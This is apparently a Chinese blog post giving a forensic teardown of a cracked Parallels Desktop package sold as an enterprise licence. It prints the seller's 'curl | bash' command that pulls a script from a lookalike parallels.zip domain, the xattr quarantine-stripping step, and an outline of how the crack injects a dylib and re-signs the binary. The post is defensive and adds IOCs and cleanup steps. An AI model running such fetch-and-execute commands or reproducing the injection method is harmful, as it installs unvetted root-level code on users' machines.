闲鱼 120 元买的「Parallels 企业版授权」,拆开发现是破解版
在闲鱼上花 120 元买了一份 Parallels Desktop「企业版授权」,卖家给了激活码,装完能用,还能小版本升级。直到杀毒软件报毒,才顺手查了一下——结果整条链拆下来,是个彻头彻尾的破解包。
这篇记录完整的取证过程和证据链。
起因
闲鱼上卖 Parallels 授权大致分两种:
- 明说是破解版,价格极低,直接甩给你一个破解包下载链接
- 号称「企业版 / 集中授权」,价格稍高,给你一个激活码,看起来像正经买卖
我买的是第二种,120 元。安装方式是卖家给的一行命令:
1 | curl -fsSL https://download.parallels.zip/install.sh | bash |
域名里有 parallels,看着像官方。装完输入激活码,激活成功,用了两个月,中间还成功升级过小版本。
直到小红伞(Avira)弹了报毒。
疑点一:签名对不上
先看那个被报毒的文件本身。
1 | codesign -dvvv Installer.app |
Bundle ID 写着 com.parallels.pdcert,Info.plist 里是 © 2026 Parallels International GmbH——但签名是 adhoc,TeamIdentifier 未设置。
任何在 macOS 上正常分发的商业软件,都必须用 Developer ID 签名并经过苹果公证,否则用户双击根本打不开。adhoc 签名 = 这个程序被改过。
顺手看了下已安装的 Parallels 本体,同样是 adhoc:
1 | codesign -dv /Applications/Parallels\ Desktop.app |
疑点二:那个安装脚本
把脚本拉下来看(只读不执行):
1 | ZIP_SRC_URLS=( |
xattr -cr 是整个脚本存在的理由。
macOS 会给所有从网上下载的文件打上 com.apple.quarantine 隔离标记,双击时 Gatekeeper 据此验证签名与公证。这个 app 是 adhoc 签名,带着标记必然被拦。剥掉标记,检查就不做了。
正规软件永远不需要剥自己的隔离属性——它签名公证齐全,Gatekeeper 本来就放行。写下这一行,等于承认「我过不了苹果的检查」。
脚本里还有几处设计值得一提:
| 手法 | 目的 |
|---|---|
| 三个镜像 + 测速 | 抗封禁 |
| 转圈动画 / 进度条 / 优雅报错 | 伪装成正规安装器 |
解压后 rm 掉原始 zip |
减少残留证据 |
失败时 rm -fr 整个目录 |
失败不留痕 |
open -a 自动运行 |
不给检查窗口 |
写这个脚本的人很清楚:只要你信了域名、看着动画等几秒、app 自己弹出来,你就不会再去验签名了。
顺带验证了一下是否按 User-Agent 差异化投放(给研究员返回无害脚本、给真实用户返回载荷是常见手法):
1 | curl UA : a4b2f2bb07fdf6013456d6ea680233b7 (2978 B) |
这是本次唯一一条对它有利的证据:脚本对所有人都一样,不是定向攻击。
关于 parallels.zip
| parallels.com | parallels.zip | |
|---|---|---|
| 注册人 | Parallels International GmbH | 无组织信息 |
| 注册商 | MarkMonitor(企业品牌保护) | — |
| DNS | AWS Route53 | Cloudflare |
| 证书 | — | Google Trust Services 免费 DV |
DV 证书只证明「有人控制这个域名」,不含任何组织身份。另外 .zip 是 2023 年才开放的 TLD,正因为容易和文件名混淆,一直是钓鱼高发区——服务端还把 shell 脚本的 content-disposition 设成了 filename="Installer.zip"。
疑点三:资源文件里藏了东西
app 的 Resources 目录有三个可疑文件:
1 | file Resources/license.* |
RIFF 只是前 4 个字节的伪造头。跳过 6 字节,后面是标准的 ZIP 本地文件头(PK\x03\x04),第一个条目叫 libchannel.dylib。
解出来 38 个条目,但全部加密。
破开加密
检查加密算法:
1 | flag_bits = 0x9 |
用的是老式 ZipCrypto,对已知明文攻击不设防。而我手上恰好有完美的已知明文——载荷里的 pubkey 已经被安装到系统里了,就是 /Library/Application Support/Parallels/.pubkey。
唯一的麻烦是条目用 deflate 压缩,攻击需要压缩后的字节流。试着复现:
1 | zip 中 pubkey: 原始=10955 压缩后=6416 (含12字节加密头) |
zlib level 5 精确复现。剩下的交给 bkcrack:
1 | [10:50:33] Z reduction using 6397 bytes of known plaintext |
一秒出密钥,38 个条目全部解开。
certs/ 里不是证书
这是整件事最关键的发现。
载荷里有个 certs/ 目录,32 个文件,每个 868–1456 字节,文件名是 16 位十六进制。看着像证书,解开却是:
1 | head -c 48 certs/11a992dc882b08de | xxd |
PAGEZERO 是 Mach-O 的段名,后面跟着 bzip2 流。解压每个流:
1 | 流 ① → 1,128 字节 补丁偏移表 |
(55554944 就是 ASCII 的 UUID。)
扫描全部 32 个文件:
1 | 文件名 段名 目标 解压总量 |
这 32 个文件,是为 32 个不同 Parallels 版本预先算好的「二进制补丁 + 代码签名页哈希表」。
这直接解释了我之前最大的困惑:为什么能小版本升级?不是因为授权合法,而是作者把 32 个版本的补丁全部提前做好了。
破解原理
到这里机制已经完全清楚。
核心就一句话:把「向 Parallels 服务器证明你有授权」替换成「向破解自己提供的信任锚证明」。
具体分四层:
第一层:dylib 注入
Mach-O 头部有一串 LC_LOAD_DYLIB,列出程序依赖哪些动态库,dyld 启动时会全部加载。破解在末尾追加了一条:
1 | otool -l prl_client_app | grep -c 'cmd LC_LOAD_DYLIB' |
追加在所有原始依赖之后,是 dylib 注入的典型特征。而 channel.cert 其实是个 dylib,改名只为在目录里看起来像证书:
1 | file channel.cert |
它的加载时入口:
1 | sectname __mod_init_func size 0xd0 ← 208 字节 = 26 个构造函数指针 |
__mod_init_func 里的函数在 dylib 被加载时自动执行,早于 main()——程序自己的代码还没开始跑,钩子已经装好了。
第二层:函数挂钩
Parallels 用 Qt 编写,授权校验走 Qt 网络栈。这个 dylib 正好链接了 QtNetwork、QtCore、Security、CFNetwork。构造函数在 main() 前改写导入表,把校验相关调用重定向到自己的实现。
具体 hook 了哪些函数看不到——它上了商业级保护壳:
1 | nm -u channel_arm64.dylib | wc -l |
第三层:伪造信任锚
授权数据是签名的,程序会验签。破解装了一条 4 级证书链作为 .pubkey:
1 | desktop.parallels.com |
配合加密的 licenses.db,伪造的授权用这条链验签自然通过。
第四层:重签名(死穴所在)
只要改动 Mach-O 哪怕一个字节,原签名即失效,macOS 拒绝加载。 所以必须重签。但破解没有 Parallels 的私钥,只能用 adhoc 签名。
这条约束是物理性的、绕不过去的,它直接产生了全部可观测证据:
Signature=adhoc、TeamIdentifier=not setspctl判定rejected- 安装脚本必须
xattr -cr
反过来说:「adhoc 签名」本身就是「这个程序被改过」的铁证,不需要任何额外推理。
而重算签名很贵——prl_client_app 有 60 MB,要逐页做 SHA256。所以作者提前算好,打包成 certs/ 里那 32 个文件,安装时按版本查表直接套用。
持久化
Parallels 升级会用原厂文件覆盖被打过补丁的文件,破解就失效了。所以还需要一个常驻进程:
1 | plutil -p /Library/LaunchDaemons/com.parallels.certificate.plist |
root 权限、开机自启、崩溃重拉。.data/{.c,.d,.v} 里备份的 107 MB 原始二进制,就是它做差分补丁的基准。
为什么这套能成功
三个前提缺一不可:
/Applications和/Library/Application Support不受 SIP 保护(SIP 只锁/System、/usr等)- 安装时用户授予了管理员权限
- Parallels 没有有效的运行时自检——或者说自检代码和注入的 dylib 在同一个进程里,已经被绕过
杀软怎么说
Avira 的检测记录库(activitylog.db,全局可读)里翻到了判定名:
1 | sqlite3 activitylog.db "SELECT datetime(timestamp,'unixepoch','localtime'), arg1, arg2 |
TR/ = 木马,Stealer = 信息窃取。不是 PUA / Riskware / Crack 那一类。
两点必须说明:
- 单一厂商的检测名是信号不是铁证。不过
.IW是具体变种签名,不是TR/Malware那种兜底桶。 - 我的静态分析没能看到窃密行为:无明文 URL、无外联连接、无监听端口。但该二进制字符串表与符号表全部加密,我无法排除运行时解密后的行为。
有个细节值得注意:Avira 会在文件落盘瞬间删掉安装器(连 shasum 都读不到,报 Operation not permitted),但已经落地的 root 守护进程和注入的 dylib 一直原封不动躺在盘上。
也就是说,你看到的报毒是针对 Downloads 里的安装器残留,不是针对正在生效的载荷。只删 Downloads 那个文件夹,报警会消失,但 root daemon 和 dylib 还在。
万幸的一点:这台机器自 9/13 安装后一直没重启,RunAtLoad 从未触发。
1 | ls /var/log/certificate.log |
那个被判为 Stealer 的 root 组件一次都没执行过——但一重启就会首次以 root 运行。所以清理必须赶在重启前。
那个激活码到底是真是假
1 | prlsrvctl info | grep License |
key 是 30 位、5 组 × 6 位,符合 Parallels 官方规范,说明卖家给的不是随手编的字符串。
但 state='valid' 完全不能采信——报出这句话的 prlsrvctl 属于那个被打了补丁的 app,而注入的 dylib 劫持的正是授权校验路径。等于让嫌疑人自证清白。
从这台机器上,永远问不出这个 key 是真是假。 唯一的判定方法是:卸干净,装官方版,输入这个 key。
- 激活成功 → key 是真的(但来源仍可能有问题,后续可能被吊销)
- 提示无效 → key 只是个道具,让交易看起来像正经买卖
不过这个问题其实已经不重要了。整套机制里没有任何一环与 Parallels 服务器发生真实交互——哪怕你的 key 百分之百是正版,你装的这个程序也已经被第三方改过了。授权的合法性和二进制的完整性,是两件独立的事。
怎么自查
如果你也在第三方渠道买过 Parallels 授权,三条命令就能判断:
1 | codesign -dv /Applications/Parallels\ Desktop.app 2>&1 | grep -E 'Signature|TeamIdentifier' |
正常应该显示 Authority=Developer ID Application: Parallels International GmbH 和一个 Team ID。如果是 Signature=adhoc / TeamIdentifier=not set,已经被改了。
1 | ls -la /Library/LaunchDaemons/ | grep -i parallels |
正版不会有 com.parallels.certificate.plist 这种东西。
1 | otool -L /Applications/Parallels\ Desktop.app/Contents/MacOS/prl_client_app | grep -i 'Application Support' |
主程序不应该依赖 /Library/Application Support/ 下的任何动态库。
清理
1 | sudo launchctl bootout system/com.parallels.certificate 2>/dev/null |
虚拟机文件在 ~/Parallels/,不受影响,重装官方版后可直接使用。
IOC
域名
1 | download.parallels.zip |
文件哈希(SHA256)
1 | 20bcb7fbab3cf3a268585df02e14ddbd2e76a3d795a51c6395e88b60b8185c38 LicenseInstaller |
落地路径
1 | /Library/LaunchDaemons/com.parallels.certificate.plist |
检测名
1 | Avira: TR/OSX.Stealer.IW |
结论
买到的不是「企业版授权」,是一个破解包加一个格式正确的激活码。激活码大概率只是让交易看起来像正经买卖的道具——真正让软件能用的,是那个 root 守护进程和注入进程的 dylib。
几点教训:
第一,curl | bash 之前先把脚本下下来看一眼。 就多一步的事,这次的脚本里那行 xattr -cr 单独拎出来就足够定性。
第二,域名里包含品牌名 ≠ 官方域名。 .zip、.app 这类新 TLD 尤其要警惕,它们天然容易和文件名混淆。真官方域名一般用 MarkMonitor 这类企业品牌保护注册商,whois 里能查到公司名。
第三,macOS 上判断一个 app 是否被动过,codesign + spctl 两条命令就够了。 二进制补丁必然破坏签名,这是绕不过去的物理约束——无论破解做得多精致,adhoc 签名这个尾巴藏不住。
第四,杀软报毒后别只删报出来的那个文件。 这次 Avira 秒删安装器,却对已经落地的 root 守护进程无动于衷。真正危险的组件往往不是被报出来的那个。
至于 120 块——就当买了个样本,写了篇文章。
本文为个人设备上的安全取证记录。文中的分析方法(静态分析、已知明文攻击)均为公开的标准手段,用于理解自己机器上运行的是什么。相关样本未作传播。







